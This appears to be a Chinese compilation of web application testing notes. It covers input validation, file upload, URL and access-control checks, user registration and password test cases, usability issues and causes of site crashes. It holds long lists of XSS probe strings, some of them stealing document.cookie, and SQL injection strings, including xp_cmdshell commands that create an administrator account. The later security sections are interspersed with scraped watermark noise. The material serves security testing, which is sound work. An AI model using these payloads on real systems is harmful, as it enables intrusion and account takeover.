建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL注入、身份验证和授权错误.
1. 输入验证
客户端验证服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如:要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值;要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
1.输入<html”>”gfhd</html>,看是否出错;
2.输入<input type=”text” name=”user”/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
- 避免输入:/../web.
- 修改命名后缀。
关于URL:
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
[url=http://www.****.com]你的网站[/url]
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用
[url=javascript:alert('hello')]链接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "οnmοuseοver=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
2. 输出编码
常用的测试输入语句有:
<input type="text"/>
<input/>
<input/
<script>alert('hello');</script>
1.jpg" οnmοuseοver="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”/” ; b=”;alert(/xss/);//”
<img src=“输出内容” border=“0” alt=“logo” />
“’”
‘”’
“””
“““
“”“
“‘”
title=””
对输出数据到输出数据的对比,看是否出现问题。
3. 防止SQL注入
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
4. 跨站脚本攻击(XSS)
对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF标记中吗?是否在 IFRAME标记中?它在 CLSID标记中吗?在 IMG SRC中吗?某些 Flash内容的 PARAM NAME是怎样的?
★~!@#$%^&*()_+<>,./?;'"[]{}/-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" οnerrοr=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/οnerrοr=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" οnmοuseοver="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"οnmοuseοver=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body οnlοad="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
5. 跨站请求伪造(CSRF)
同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。
当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。
一、 用户注册
只从用户名和密码角度写了几个要考虑的测试点,如果需求中明确规定了安全问题,Email,出生日期,地址,性别等等一系列的格式和字符要求,那就都要写用例测了~
以等价类划分和边界值法来分析
1.填写符合要求的数据注册:用户名字和密码都为最大长度(边界值分析,取上点)
2.填写符合要求的数据注册:用户名字和密码都为最小长度(边界值分析,取上点)
3.填写符合要求的数据注册:用户名字和密码都是非最大和最小长度的数据(边界值分析,取内点)
4.必填项分别为空注册
5.用户名长度大于要求注册1位(边界值分析,取离点)
6.用户名长度小于要求注册1位(边界值分析,取离点)
7.密码长度大于要求注册1位(边界值分析,取离点)
8.密码长度小于要求注册1位(边界值分析,取离点)
9.用户名是不符合要求的字符注册(这个可以划分几个无效的等价类,一般写一两个就行了,如含有空格,#等,看需求是否允许吧~)
10.密码是不符合要求的字符注册(这个可以划分几个无效的等价类,一般写一两个就行了)
11.两次输入密码不一致(如果注册时候要输入两次密码,那么这个是必须的)
12.重新注册存在的用户
13.改变存在的用户的用户名和密码的大小写,来注册。(有的需求是区分大小写,有的不区分)
14.看是否支持tap和enter键等;密码是否可以复制粘贴;密码是否以*之类的加秘符号显示
备注:边界值的上点、内点和离点大家应该都知道吧,呵呵,这里我就不细说了~~
二、 修改密码
当然具体情况具体分析哈~不能一概而论~
实际测试中可能只用到其中几条而已,比如银行卡密码的修改,就不用考虑英文和非法字符,更不用考虑那些TAP之类的快捷键。而有的需要根据需求具体分析了,比如连续出错多少次出现的提示,和一些软件修改密码要求一定时间内有一定的修改次数限制等等。
1.不输入旧密码,直接改密码
2.输入错误旧密码
3.不输入确认新密码
4.不输入新密码
5.新密码和确认新密码不一致
6.新密码中有空格
7.新密码为空
8.新密码为符合要求的最多字符
9.新密码为符合要求的最少字符
10.新密码为符合要求的非最多和最少字符
11.新密码为最多字符-1
12.新密码为最少字符+1
13.新密码为最多字符+1
14.新密码为最少字符-1
15.新密码为非允许字符(如有的密码要求必须是英文和数字组成,那么要试汉字和符号等)
16.看是否支持tap和enter键等;密码是否可以复制粘贴;密码是否以*之类的加秘符号
17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写
18.新密码与旧密码一样能否修改成功
另外一些其他的想法如下:
1要测试所有规约中约定可以输入的特殊字符,字母,和数字,要求都可以正常输入、显示正常和添加成功
2关注规约中的各种限制,比如长度,大否支持大小写。
3考虑各种特殊情况,比如添加同名用户,系统是否正确校验给出提示信息,管理员帐户是否可以删除,因为有些系统管理员拥有最大权限,一旦删除管理员帐户,就不能在前台添加,这给最终用户会带来很多麻烦。比较特殊的是,当用户名中包括了特殊字符,那么对这类用户名的添加同名,修改,删除,系统是否能够正确实现,我就遇到了一个系统,添加同名用户时,如果以前的用户名没有特殊字符,系统可以给出提示信息,如果以前的用户名包含特殊字符,就不校验在插入数据库的时候报错。后来查到原因了,原来是在java中拼SQL语句的时候,因为有"_",所以就调用了一个方法在“_”,前面加了一个转义字符,后来发现不该调用这个方法。所以去掉就好了。所以对待输入框中的特殊字符要多关注。
4数值上的长度之类的,包括出错信息是否合理
5特殊字符:比如。 / ' " / </html>这些是否会造成系统崩溃
6注入式bug:比如密码输入个or 1=1
7登录后是否会用明文传递参数
8访问控制(不知道这个算不算):登录后保存里面的链接,关了浏览器直接复制链接看能不能访问。
输入框测试
1.验证输入与输出的是否信息一致;
2.输入框之前的标题是否正确;
3.对特殊字符的处理,尤其是输入信息徐需要发送到数据库的。特殊字符包括:'(单引号)、"(双引号)、[](中括号)、()(小括号)、{}(大括号)、;(分号)、<>(大于小于号)……
4.对输入框输入超过限制的字符的处理,一般非特殊的没有作出限制的在255byte左右;
5.输入框本身的大小、长度;
6.不同内码的字符的输入;
7.对空格、TAB字符的处理机制;
8.字符本身显示的颜色;
9.密码输入窗口转换成星号或其它符号;
10.密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;
11.按下ctrl和alt键对输入框的影响;
12.对于新增、修改、注册时用的输入框,有限制的,应该输入时作出提示,指出不允许的或者标出允许的;
13.对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变,比如选了湖南就应该列出湖南下面的市,或者选了某些条件之后,一些输入框会关闭或转为只读状态;
14.输入类型;根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如,是否允许输入数字或字母,不允许输入其他字符等。
15.输入长度;数据库字段有长度定义,当输入过长时,提交数据是否会出错。
16.输入状态;当处于某种状态下,输入框是否处于可写或非可写状态。例如,系统自动给予的编号等栏位作为唯一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,如果可写对其编辑的话,可能会造成数据重复引起冲突等。
17.如果是会进行数据库操作的输入框,还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现
18.输入类型
输入长度
是否允许复制粘贴
为空的情况
空格的考虑
半角全角测试
对于密码输入框要考虑显示的内容是* 输入错误时的提示信息及提示信息是否准确
19.可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,然后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。
20.关键字有大小写混合的情况;
21.关键字中含有一个或多个空格的情况,包括前空格,中间空格(多个关键字),和后空格;
22.关键字中是否支持通配符的情况(视功能而定);
23.关键字的长度分别为9、10、11个字符时的情况;
24.关键字是valid,但是没有匹配搜索结果的情况;
25.输入html的标签会出现哪些问题?输入<html>会出现什么问题呢?(这条是我自己发现的,在网上也没找到类似的东东,呵呵,大家凑合着看吧)
给出一些特别的关键字,比如 or 1=1,这样的关键字如果不被处理就直接用到数据库查询中去,后果可想而知。
用户体验相关
我登录失败的时候没有任何提示,这没什么,反正提示也只是说失败…
进去后发现颜色变更很强烈刺得我一眨眼,不过多看几次就习惯了。
点击某个链接的时候出现错误页面,刷新后就好了,难道是随机错误?
保存文字的时候没有成功提示,不过能成功保存就算了。
浏览记录的时候竟然出现错误页面,原来我没有选记录就浏览了,我自己操作不规范嘛。
删除记录的时候发现选错了,想取消的时候却提示删除成功,都没有确认提示,只能下次看仔细点了。
查询时字母键被茶杯压住了多输了点字符,竟然出现错误页面,下次把东西整理好。
无聊随便点点几个链接,竟然没有反应,既然不用,那就不要做出来嘛。
看看自己上传的图片效果如何,这个怎么不显示?多试几次发现名字不包含中文就好了,下次注意下。
改改字体字号颜色美化环境嘛,怎么格式那里不显示正确的字体字号呢,将就用吧。
这里的记录条数怎么这么多啊?原来是没有删除按钮,看来下次不能随便加了。
这个结束时间怎么在开始时间前啊?原来没有进行控制,下面的人执行时……还是自己改过来吧。
上次我在这里看见的图片呢?刷新后就出来了,怎么和我玩捉迷藏呢?
多输了点内容,保存时候提示太多了,点确定后发现被清空了,我一个小时的工作啊!
这张图片真不错,但是按钮呢,按钮呢?按钮被挤掉了我怎么编辑啊。
听说F5是刷新点一下看看。怎么好像变成了登录界面?
刚学了怎么用TAB键,确实很方便。TAB一下。跑哪去了,怎么一片空白啊???
玩游戏的人点击速度那么快,我也来试试。怎么一双击就出错了?
我找错别字是很厉害的,这不就发现“同意”写成了“统一”。
这里提示只能输入1-100,我偏要输入9999……保存看看,怎么系统不能用了?
这里一点击就出现IE错误,硬是不弹出我需要的窗口。
这个查询按钮怎么灰掉了?这么多记录让我一页一页翻过去找啊。
上传第二个附件的时候怎么把第一个挤掉了啊,会挤掉也要提示一下嘛。
一个页面上打开的记录太多了,变体都用…省略了,要是鼠标放上去浮动显示完整标题就方便多了。
这几条记录有依存关系,删了一条其他就没了,提示都没有,早知道我就用编辑了……
这条记录怎么好像是昨天的,我记得今天更新了啊?原来编辑后的记录没有传到引用的地方。
最最奇怪的是昨天上传时候正常的图片今天就不能显示了。我记得没有只能显示一天的功能啊???
这里怎么没有任何按钮呢,看手册才知道竟然要用右键进行操作,怎么突然冒出个异类啊???
这里怎么能增加两条相同的记录呢?不控制一下天知道手下那些愣头青会做出什么来。
这里的菜单一层一层又一层,足足有五层,把我头都绕晕了……我记得哪里说过最好不要超过三层的。
这个界面看起来怎么这么别扭啊,是字体太大了,是按钮太小了,还是功能太多了,……
怎么不是管理员登录进来也能管理啊,那我这个管理员的身份不是多此一举吗?
删除的时候提示Error,幸亏我英语水平好,可是你换成中文不行吗?
这条记录不是删除了吗,怎么还能引用啊,到时候出错了怎么办,难道还要我记住删了那些记录?
经过精心编辑,我发了一条通知,怎么用普通用户查看的时候是默认的字体字号啊???
这几个页面上的当前日期怎么是固定不变的啊,这都是去年的日期了,不会是开发时候的吧。
让Web站点崩溃最常见的七大原因
磁盘已满
导致系统无法正常运行的最可能的原因是磁盘已满。一个好的网络管理员会密切关注磁盘的使用情况,隔一定的时间,就需要将磁盘上的一些负载转存到备份存储介质中(例如磁带)。
日志文件会很快用光所有的磁盘空间。Web服务器的日志文件、SQL*Net的日志文件、JDBC日志文件,以及应用程序服务器日志文件均与内存泄漏有同等的危害。可以采取措施将日志文件保存在与操作系统不同的文件系统中。日志文件系统空间已满时Web服务器也会被挂起,但机器自身被挂起的几率已大大减低。
C指针错误
用C或C++编写的程序,如Web服务器API模块,有可能导致系统的崩溃,因为只要间接引用指针(即,访问指向的内存)中出现一个错误,就会导致操作系统终止所有程序。另外,使用了糟糕的C指针的Java模拟量(analog)将访问一个空的对象引用。Java中的空引用通常不会导致立刻退出JVM,但是前提是程序员能够使用异常处理方法恰当地处理错误。在这方面,Java无需过多的关注,但使用 Java对可靠性进行额外的度量则会对性能产生一些负面影响。
内存泄漏
C/C++程序还可能产生另一个指针问题:丢失对已分配内存的引用。当内存是在子程序中被分配时,通常会出现这种问题,其结果是程序从子程序中返回时不会释放内存。如此一来,对已分配的内存的引用就会丢失,只要操作系统还在运行中,则进程就会一直使用该内存。这样的结果是,曾占用更多的内存的程序会降低系统性能,直到机器完全停止工作,才会完全清空内存。
解决方案之一是使用代码分析工具(如Purify)对代码进行仔细分析,以找出可能出现的泄漏问题。但这种方法无法找到由其他原因引起的库中的泄漏,因为库的源代码是不可用的。另一种方法是每隔一段时间,就清除并重启进程。Apache的Web服务器就会因这个原因创建和清除子进程。
虽然Java本身并无指针,但总的说来,与C程序相比, Java程序使用内存的情况更加糟糕。在Java中,对象被频繁创建,而直到所有到对象的引用都消失时,垃圾回收程序才会释放内存。即使运行了垃圾回收程序,也只会将内存还给虚拟机VM,而不是还给操作系统。结果是:Java程序会用光给它们的所有堆,从不释放。由于要保存实时(Just In Time,JIT)编译器产生的代码,Java程序的大小有时可能会膨胀为最大堆的数倍之巨。
还有一个问题,情况与此类似。从连接池分配一个数据库连接,而无法将已分配的连接还回给连接池。一些连接池有活动计时器,在维持一段时间的静止状态之后,计时器会释放掉数据库连接,但这不足以缓解糟糕的代码快速泄漏数据库连接所造成的资源浪费。
进程缺乏文件描述符
如果已为一台Web服务器或其他关键进程分配了文件描述符,但它却需要更多的文件描述符,则服务器或进程会被挂起或报错,直至得到了所需的文件描述符为止。文件描述符用来保持对开放文件和开放套接字的跟踪记录,开放文件和开放套接字是Web服务器很关键的组成部分,其任务是将文件复制到网络连接。默认时,大多数shell有64个文件描述符,这意味着每个从shell启动的进程可以同时打开64个文件和网络连接。大多数shell都有一个内嵌的 ulimit命令可以增加文件描述符的数目。
线程死锁
由多线程带来的性能改善是以可靠性为代价的,主要是因为这样有可能产生线程死锁。线程死锁时,第一个线程等待第二个线程释放资源,而同时第二个线程又在等待第一个线程释放资源。我们来想像这样一种情形:在人行道上两个人迎面相遇,为了给对方让道,两人同时向一侧迈出一步,双方无法通过,又同时向另一侧迈出一步,这样还是无法通过。双方都以同样的迈步方式堵住了对方的去路。假设这种情况一直持续下去,这样就不难理解为何会发生死锁现象了。
解决死锁没有简单的方法,这是因为使线程产生这种问题是很具体的情况,而且往往有很高的负载。大多数软件测试产生不了足够多的负载,所以不可能暴露所有的线程错误。在每一种使用线程的语言中都存在线程死锁问题。由于使用Java进行线程编程比使用C容易,所以 Java程序员中使用线程的人数更多,线程死锁也就越来越普遍了。可以在Java代码中增加同步关键字的使用,这样可以减少死锁,但这样做也会影响性能。如果负载过重,数据库内部也有可能发生死锁。
如果程序使用了永久锁,比如锁文件,而且程序结束时没有解除锁状态,则其他进程可能无法使用这种类型的锁,既不能上锁,也不能解除锁。这会进一步导致系统不能正常工作。这时必须手动地解锁。
服务器超载
Netscape Web服务器的每个连接都使用一个线程。Netscape Enterprise Web服务器会在线程用完后挂起,而不为已存在的连接提供任何服务。如果有一种负载分布机制可以检测到服务器没有响应,则该服务器上的负载就可以分布到其它的 Web服务器上,这可能会致使这些服务器一个接一个地用光所有的线程。这样一来,整个服务器组都会被挂起。操作系统级别可能还在不断地接收新的连接,而应用程序(Web服务器)却无法为这些连接提供服务。用户可以在浏览器状态行上看到connected(已连接)的提示消息,但这以后什么也不会发生。
解决问题的一种方法是将obj.conf参数RqThrottle的值设置为线程数目之下的某个数值,这样如果越过 RqThrottle的值,就不会接收新的连接。那些不能连接的服务器将会停止工作,而连接上的服务器的响应速度则会变慢,但至少已连接的服务器不会被挂起。这时,文件描述符至少应当被设置为与线程的数目相同的数值,否则,文件描述符将成为一个瓶颈。
数据库中的临时表不够用
许多数据库的临时表(cursor)数目都是固定的,临时表即保留查询结果的内存区域。在临时表中的数据都被读取后,临时表便会被释放,但大量同时进行的查询可能耗尽数目固定的所有临时表。这时,其他的查询就需要列队等候,直到有临时表被释放时才能再继续运行。
这是一个不容易被程序员发觉的问题,但会在负载测试时显露出来。但可能对于数据库管理员(DataBase Administrator,DBA)来说,这个问题十分明显。
此外,还存在一些其他问题:设置的表空间不够用、序号限制太低,这些都会导致表溢出错误。这些问题表明了一个好的DBA对用于生产的数据库设置和性能进行定期检查的重要性。而且,大多数数据库厂商也提供了监控和建模工具以帮助解决这些问题。
另外,还有许多因素也极有可能导致Web站点无法工作。如:相关性、子网流量超载、糟糕的设备驱动程序、硬件故障、包括错误文件的通配符、无意间锁住了关键的表。
一个完整的Web安全体系testing.com/javascr%C4%ABpt:;">测试可以从部署与基础结构,输入验证,身份验证,授权,配置管理,敏感数据,会话管理,加密,参数操作,异常管理,审核和日志记录等几个方面入手
F+M-T~ X.b/d0
Web安全性测试
5];J5e A_ g+`0数据加密:某些数据需要进行信息加密和过滤后才能进行数据传输,例如用户信用卡信息、用户登陆密码信息等。此时需要进行相应的其他操作,如存储到testing.com/javascr%C4%ABpt:;">数据库、解密发送要用户电子邮箱或者客户浏览器。目前的加密算法越来越多,越来越复杂,但一般数据加密的过程时可逆的,也就是说能进行加密,同时需要能进行解密!
J0_?#T7^$W2~m0
:uN4j%h i$`d+Nv0登录:一般的应用站点都会使用登录或者注册后使用的方式,因此,必须对用户名和匹配的密码进行校验,以阻止非法用户登录。在进行登陆测试的时候,需要考虑输入的密码是否对大小写敏感、是否有长度和条件限制,最多可以尝试多少次登录,哪些页面或者文件需要登录后才能访问/下载等。51Testing软件测试网-S {3Br$KuV
51Testing软件测试网;H8x&}S` C$R3u3B
超时限制:WEB应用系统需要有是否超时的限制,当用户长时间不作任何操作的时候,需要重新登录才能使用其功能。
0x|^OKw E/P051Testing软件测试网ubeec2B9K
SSL:越来越多的站点使用SSL安全协议进行传送。SSL是Security Socket Lauer(安全套接字协议层)的缩写,是由Netscape首先发表的网络数据安全传输协议。SSL是利用公开密钥/私有密钥的加密testing.com/javascr%C4%ABpt:;">技术。(RSA),在位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。进入一个SSL站点后,可以看到浏览器出现警告信息,然后地址栏的http变成https,在做SSL测试的时候,需要确认这些特点,以及是否有时间链接限制等一系列相关的安全保护。51Testing软件测试网 j$|8^r#bE
51Testing软件测试网\ @l#X"akm B-n
服务器脚本语言:脚本语言是最常见的安全隐患,如有些脚本语言允许访问根目录,经验丰富的黑客可以通过这些缺陷来攻击和使用服务器系统,因此,脚本语言安全性在测试过程中也必须被考虑到。51Testing软件测试网2g%rPor@3T
51Testing软件测试网-m*@ S(qDE-wA
日志文件:在服务器上,要验证服务器的日志是否正常工作,例如CPU的占用率是否很高,是否有例外的进程占用,所以的事务处理是否被记录等。
'N;t?%HdN wa q._0
(x7jX7S F0目录:WEB的目录安全是不容忽视的一个因素。如果WEB程序或WEB服务器的处理不适当,通过简单的URL替换和推测,会将整个WEB目录完全暴露给用户,这样会造成很大的风险和安全性隐患。我们可以使用一定的解决方式,如在每个目录访问时有index.htm,或者严格设定WEB服务器的目录访问权限,将这种隐患降低到最小程度。51Testing软件测试网6dK;S&NP c8LN'o&F t
51Testing软件测试网+f[+GOu B ? CQrdM
51Testing软件测试网 s9xNu0pe@7N
WEB应用安全的增强只有两种解决途径,“黑箱子”安全测试和“白盒子”安全测试。51Testing软件测试网b t P {R] ^
所谓“黑箱子”安全测试方法是指目标测试网站已经正常投入使用的情况下,采用不影响业务正常运转的技术手段进行远程测试,通过模拟黑客的惯用入侵伎俩和手法,测试目标WEB系统在真实的不法攻击压力下的安全性。
;D4T9\Hez~0所谓“白盒子”安全测试方法是指在目标网站还处于开发阶段的时侯,进行基于安全编码规则的源代码级别测试。这种测试方法所需要的代价很高,通常需要精通WEB系统安全的安全编码专家带领程序员对整个系统源代码进行阅读和纠错,增加安全代码以使得“黑箱子”安全测试得到安全的结论。
T6wP |nht4h S051Testing软件测试网D,w)p&{+F"~Nz
所以,确保网上银行WEB系统应用程序的安全不是一件简单的事,而不幸的是对WEB应用程序的攻击是非常容易实施的。从信息安全的层面,黑客针对WEB的攻击可以达到从窃取产品和敏感信息到使整个WEB站点甚至后台核心数据库服务器完全瘫痪。
y2M2Y g-i0一个黑客通常都会花上几个小时来熟悉他企图突破的WEB应用程序,他会象编制这一套程序的程序员那样思考程序的设计和编码,然后找出编程时留下的漏洞,然后通过浏览器恶意地与应用程序以及数据库进行交互,造成或大或小的损害。要防止这些问题,公司必须预先找出网站的弱点然后关闭有可能被黑客可利用的缝隙。
cw3]Qn*As0
}&Xz(l)?y p0国外权威的WEB应用安全著作
W8DD0E|8ri0“《Web Hacking: Attacks and Defense》51Testing软件测试网2\O_9c x P
by Stuart McClure, Saumil Shah, Shreeraj Shah
XP7DunTiQ0《Hacking Exposed (TM) Web Applications》51Testing软件测试网4hkFf/Q#Z
by Joel Scambray, Mike Shema“51Testing软件测试网7T5r9JPWH
}-WyQv*a6ET0针对电子商务和网上交易WEB应用平台的安全隐患分类如下:
'qz8L#M"T^8Q0APPLICATION BUFFER OVERFLOW应用层缓冲区溢出(压力测试)51Testing软件测试网+TFa#G1e)d-n
COOKIE POISONING cookie安全使用状况评估
Pb0~$G#X.`^0CROSS-SITE scrīptING跨站脚本攻击风险评估51Testing软件测试网a#r^/|XH`{
HIDDEN MANIPULATION页面隐藏参数域篡改风险评估
*Q,tD:e)a.U|0STEALTH COMMANDING系统隐蔽指令执行风险评估51Testing软件测试网d+A$R:^/|U
3RD PARTY MISCONFIGURATION第三方误配置安全隐患
_x-k;{ g)L(F0KNOWN VULNERABILITIES各类型已知安全漏洞51Testing软件测试网8S U'Kd(GpO7x3O
PARAMETER TAMPERING URL参数篡改攻击风险评估51Testing软件测试网%|`2aV*@Ss*sT
BACKDOOR & DEBUG OPTIONS后门程序和调试选项遗留隐患
1Y&JR4v3RP:o0FORCEFUL BROWSING WEB内容强力浏览问题51Testing软件测试网3o)_0C-T _*@*f+}W
51Testing软件测试网t%B4tH5lF
一个完整的WEB应用是颇为复杂的,它提供电子商务系统的商务逻辑,使得用户可以与WEB站点进行交互操作,其交易活动可以和后台数据库系统接口。WEB应用通常包括下面几个关键组件。51Testing软件测试网4n4r*r&ZCSSe
用户接口代码:这是WEB应用的表示层,它创建了站点的可视界面,是联系客户端以及WEB服务器的接口部分,通常采用HTML、Java、Javascrīpt、ActiveX、VB以及其他第三方编写方式。
H"fw!xk6z0WEB服务器软件:WEB服务器用来支持用户浏览器和WEB应用之间的正常通信,它负责处理HTTP请求/响应消息、管理用户会话。几乎所有的WEB站点都采用第三方厂商的WEB服务器产品,例如IIS、iPlanet、Apache等。
%~VP(D.O1A0前端系统:前端系统直接同用户接口代码、操作系统、后台系统进行交互,客户端通过用户接口代码传递的参数将被前端系统处理,最有代表性的例子就是各种CGI、JSP和ASP代码。51Testing软件测试网7m)[r4pC3]%R
后台系统:后台系统是WEB应用真正的驱动部分,它负责处理真正的商务逻辑,直接与数据库系统接口。后台系统通常都是客户定制开发的。51Testing软件测试网Ni2C r9r6` n+P X!k
数据库系统:WEB站点通常会采用第三方数据库软件,包括MySQL、Oracle、DB2等。
-THx+|GyEN0一个如此复杂的WEB系统,其安全保护机制也应该是多层次全方位的,这是因为构成WEB系统的每一个环节都可能存在脆弱性并由此引入风险,所以每个环节都需要相应的安全控制,例如在WEB应用的用户接口代码中对一些违犯语法规则的数据进行过滤,在前端系统和后台系统中对异常内容进行校验。不过,我们也看到,尽管多数WEB应用都采用了这样那样的安全控制措施,但由于其本身构成的复杂多样,出现某些漏洞也在所难免。
%FTs?#\0怎样最大程度发现并解决WEB应用系统的漏洞呢?一种方法就是在软件编写过程中进行测试,这也是软件开发周期中一项重要的工作。还有一点非常重要,那就是在WEB应用系统配置完毕正式启用之前对它进行在线评估,通常这是通过远程的安全扫描来实现的。51Testing软件测试网i ^T|JR5l&W
但是,我们看到,传统的安全扫描技术是有许多缺陷的,一个是不能对未知漏洞进行检测,另一个就是其判断依据过于简单(只依靠HTTP响应消息中的状态码来判断),经常造成误报和漏报,极大地影响了WEB系统安全评估的可靠性和准确性。51Testing软件测试网9p }N!A"V ?M/zh
那么,怎样才能解决这一问题呢?
&? V|z)h#e)n0为了进行有效的WEB安全性审计,除了用传统的扫描器进行初步检测之外,更多时候,还得依靠技术高超的安全专家,手工检测分析目标系统的安全性。手工分析的方法通常包括三个阶段:分析、测试和报告。在分析阶段,测试人员需要对整个WEB应用系统的框架结构深入了解,对每一处牵涉到客户端数据处理的网页内容进行分析,并对与数据库操作相关的部分进行检查,当然,所有的分析工作,都是以一个普通用户的身份,通过正常的WEB访问过程来进行的。测试人员一旦在分析阶段发现了问题(例如某些网页表单存在隐患,某些网页交互功能不健全),就要在测试阶段对这些问题进行实际验证,通过构造各种复杂的测试代码(实际上就是构造客户端提交的表单信息或CGI参数),攫取WEB应用返回的响应消息,从中判断问题存在与否。最终,测试人员会对测试结果进行综合分析,汇总之后提交测试报告。51Testing软件测试网LImS+UUs.o
